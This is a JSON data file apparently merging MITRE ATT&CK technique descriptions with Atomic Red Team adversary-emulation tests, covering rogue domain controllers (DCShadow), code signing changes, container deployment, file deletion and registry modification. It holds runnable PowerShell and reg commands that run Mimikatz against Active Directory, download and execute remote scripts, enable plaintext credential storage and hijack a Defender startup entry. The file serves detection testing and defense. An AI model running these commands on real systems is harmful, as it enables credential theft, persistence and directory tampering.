"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", - "type": "attack-pattern", - "created": "2018-04-18T17:59:24.739Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1207", - "url": "https://attack.mitre.org/techniques/T1207" - }, - { - "url": "https://www.dcshadow.com/", - "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.", - "source_name": "DCShadow Blog" - }, - { - "url": "https://adsecurity.org/?page_id=1821", - "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", - "source_name": "Adsecurity Mimikatz Guide" - }, - { - "url": "https://github.com/shellster/DCSYNCMonitor", - "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.", - "source_name": "GitHub DCSYNCMonitor" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx", - "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.", - "source_name": "Microsoft DirSync" - }, - { - "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html", - "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.", - "source_name": "ADDSecurity DCShadow Feb 2018" - } - ], - "modified": "2022-03-08T21:20:04.850Z", - "name": "Rogue Domain Controller", - "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.", - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Network Traffic: Network Traffic Content", - "Active Directory: Active Directory Object Creation", - "Active Directory: Active Directory Object Modification", - "User Account: User Account Authentication" - ], - "x_mitre_defense_bypassed": [ - "Log analysis" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1207" - }, - "atomic_tests": [ - { - "name": "DCShadow (Active Directory)", - "auto_generated_guid": "0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6", - "description": "Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.\n\n[DCShadow](https://www.dcshadow.com/)\n[Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)\n\nIt will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:\nGet-ADObject -LDAPFilter '(samaccountname=)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount\n\nNeed SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.\nThe easiest is to run elevated and as a Domain Admin user.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "object": { - "description": "Targeted object (for machine account do not forget to add final '$')", - "type": "string", - "default": "bruce.wayne" - }, - "attribute": { - "description": "Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory...", - "type": "string", - "default": "badpwdcount" - }, - "value": { - "description": "Value to assign to object attribute", - "type": "string", - "default": "9999" - }, - "mimikatz_path": { - "description": "Mimikatz windows executable", - "type": "path", - "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe" - }, - "psexec_path": { - "description": "Path to PsExec", - "type": "path", - "default": "C:\\PSTools\\PsExec.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n", - "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - }, - { - "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n", - "prereq_command": "if (Test-Path \"#{psexec_path}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n" - } - ], - "executor": { - "name": "powershell", - "elevation_required": true, - "command": "# starting fake DC server, as SYSTEM (required)\n$dc_output_file = \"$env:TEMP\\art-T1207-mimikatz-DC.log\"\nRemove-Item $dc_output_file -ErrorAction Ignore\n$mimikatzParam =\"`\"log $dc_output_file`\" `\"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`\" `\"exit`\"\"\n$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList \"/c #{psexec_path} /accepteula -d -s #{mimikatz_path} $mimikatzParam\"\n\n# wait for fake DC server to be ready...\nStart-Sleep -Seconds 5\n\n# server ready, so trigger replication (push) and wait until it finished\n& #{mimikatz_path} \"lsadump::dcshadow /push\" \"exit\"\n\nWrite-Host \"`nWaiting for fake DC server to return\"\nWait-Process $dc\n\nWrite-Host \"`nOutput from fake DC server:\"\nGet-Content $dc_output_file\nStart-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it\nRemove-Item $dc_output_file -ErrorAction Ignore\n\nWrite-Host \"End of DCShadow\"\n", - "cleanup_command": "Stop-Process -Name \"mimikatz\" -Force -ErrorAction Ignore\n" - } - } - ] - }, - "T1553.006": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Abel Morales, Exabeam" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", - "created": "2021-04-23T01:04:57.161Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1553.006", - "url": "https://attack.mitre.org/techniques/T1553/006" - }, - { - "source_name": "Apple Disable SIP", - "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection", - "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021." - }, - { - "source_name": "F-Secure BlackEnergy 2014", - "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", - "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016." - }, - { - "source_name": "FireEye HIKIT Rootkit Part 2", - "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html", - "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020." - }, - { - "source_name": "Microsoft Unsigned Driver Apr 2017", - "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test", - "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021." - }, - { - "source_name": "Microsoft DSE June 2017", - "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN", - "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021." - }, - { - "source_name": "Microsoft TESTSIGNING Feb 2021", - "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option", - "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021." - }, - { - "source_name": "Unit42 AcidBox June 2020", - "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", - "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021." - }, - { - "source_name": "GitHub Turla Driver Loader", - "url": "https://github.com/hfiref0x/TDL", - "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", - "modified": "2022-05-05T05:00:03.480Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Code Signing Policy Modification", - "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Windows Registry: Windows Registry Key Modification", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "User Mode Signature Validation", - "Digital Certificate Validation", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1610": { - "technique": { - "x_mitre_platforms": [ - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Pawan Kinger, @kingerpawan, Trend Micro", - "Alfredo Oliveira, Trend Micro", - "Idan Frimark, Cisco", - "Center for Threat-Informed Defense (CTID)", - "Magno Logan, @magnologan, Trend Micro", - "Ariel Shuper, Cisco", - "Vishwas Manral, McAfee", - "Yossi Weizman, Azure Defender Research Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", - "type": "attack-pattern", - "created": "2021-03-29T16:51:26.020Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1610", - "url": "https://attack.mitre.org/techniques/T1610" - }, - { - "source_name": "Docker Containers API", - "url": "https://docs.docker.com/engine/api/v1.41/#tag/Container", - "description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021." - }, - { - "source_name": "Kubernetes Dashboard", - "url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/", - "description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021." - }, - { - "source_name": "Kubeflow Pipelines", - "url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/", - "description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021." - }, - { - "source_name": "Aqua Build Images on Hosts", - "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host", - "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021." - } - ], - "modified": "2022-04-01T13:14:58.939Z", - "name": "Deploy a container", - "description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Container: Container Creation", - "Pod: Pod Modification", - "Application Log: Application Log Content", - "Pod: Pod Creation", - "Container: Container Start" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - "x_mitre_remote_support": true, - "identifier": "T1610" - }, - "atomic_tests": [] - }, - "T1107": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Walker Johnson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "type": "attack-pattern", - "created": "2017-05-31T21:31:17.915Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1107", - "url": "https://attack.mitre.org/techniques/T1107" - }, - { - "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", - "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", - "source_name": "Trend Micro APT Attack Tools" - } - ], - "modified": "2020-01-31T12:36:39.086Z", - "name": "File Deletion", - "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1112": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Bartosz Jerzman", - "Travis Smith, Tripwire", - "David Lu, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", - "type": "attack-pattern", - "created": "2017-05-31T21:31:23.587Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1112", - "url": "https://attack.mitre.org/techniques/T1112" - }, - { - "external_id": "CAPEC-203", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/203.html" - }, - { - "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx", - "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", - "source_name": "Microsoft Reg" - }, - { - "url": "https://docs.microsoft.com/sysinternals/downloads/reghide", - "description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.", - "source_name": "Microsoft Reghide NOV 2006" - }, - { - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/", - "description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.", - "source_name": "TrendMicro POWELIKS AUG 2014" - }, - { - "url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353", - "description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.", - "source_name": "SpectorOps Hiding Reg Jul 2017" - }, - { - "url": "https://technet.microsoft.com/en-us/library/cc754820.aspx", - "description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.", - "source_name": "Microsoft Remote" - }, - { - "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657", - "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.", - "source_name": "Microsoft 4657 APR 2017" - }, - { - "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull", - "description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.", - "source_name": "Microsoft RegDelNull July 2016" - } - ], - "modified": "2020-08-13T20:02:49.641Z", - "name": "Modify Registry", - "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Windows Registry: Windows Registry Key Deletion", - "Command: Command Execution", - "Process: OS API Execution", - "Windows Registry: Windows Registry Key Modification", - "Windows Registry: Windows Registry Key Creation" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "identifier": "T1112" - }, - "atomic_tests": [ - { - "name": "Modify Registry of Current User Profile - cmd", - "auto_generated_guid": "1324796b-d0f6-455a-b4ae-21ffee6aa6b9", - "description": "Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message \"The operation completed successfully.\"\nwill be displayed. Additionally, open Registry Editor to view the new entry in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /t REG_DWORD /v HideFileExt /d 1 /f\n", - "cleanup_command": "reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideFileExt /f >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Modify Registry of Local Machine - cmd", - "auto_generated_guid": "282f929a-6bc5-42b8-bd93-960c3ba35afe", - "description": "Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when\nCMD is ran as Administrative rights. Upon execution, the message \"The operation completed successfully.\"\nwill be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "new_executable": { - "description": "New executable to run on startup instead of Windows Defender", - "type": "string", - "default": "calc.exe" - } - }, - "executor": { - "command": "reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f\n", - "cleanup_command": "reg delete HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v SecurityHealth /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Modify registry to store logon credentials", - "auto_generated_guid": "c0413fb5-33e2-40b7-9b6f-60b29f4a7a18", - "description": "Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).\nUpon execution, the message \"The operation completed successfully.\" will be displayed.\nAdditionally, open Registry Editor to view the modified entry in HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f\n", - "cleanup_command": "reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Add domain to Trusted sites Zone", - "auto_generated_guid": "cf447677-5a4e-4937-a82c-e47d254afd57", - "description": "Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.\nUpon execution, details of the new registry entries will be displayed.\nAdditionally, open Registry Editor to view the modified entry in HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\.\n\nhttps://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "bad_domain": { - "description": "Domain to add to trusted site zone", - "type": "string", - "default": "bad-domain.com" - } - }, - "executor": { - "command": "$key= \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\#{bad_domain}\\\"\n$name =\"bad-subdomain\"\nnew-item $key -Name $name -Force\nnew-itemproperty $key$name -Name https -Value 2 -Type DWORD;\nnew-itemproperty $key$name -Name http -Value 2 -Type DWORD;\nnew-itemproperty $key$name -Name * -Value 2 -Type DWORD;\n", - "cleanup_command": "$key = \"HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\#{bad_domain}\\\"\nRemove-item $key -Recurse -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Javascript in registry", - "auto_generated_guid": "15f44ea9-4571-4837-be9e-802431a7bfae", - "description": "Upon execution, a javascript block will be placed in the registry for persistence.\nAdditionally, open Registry Editor to view the modified entry in HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" -Name T1112 -Value \"'\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1480": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Nick Carr, Mandiant" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", - "created": "2019-01-31T02:10:08.261Z", 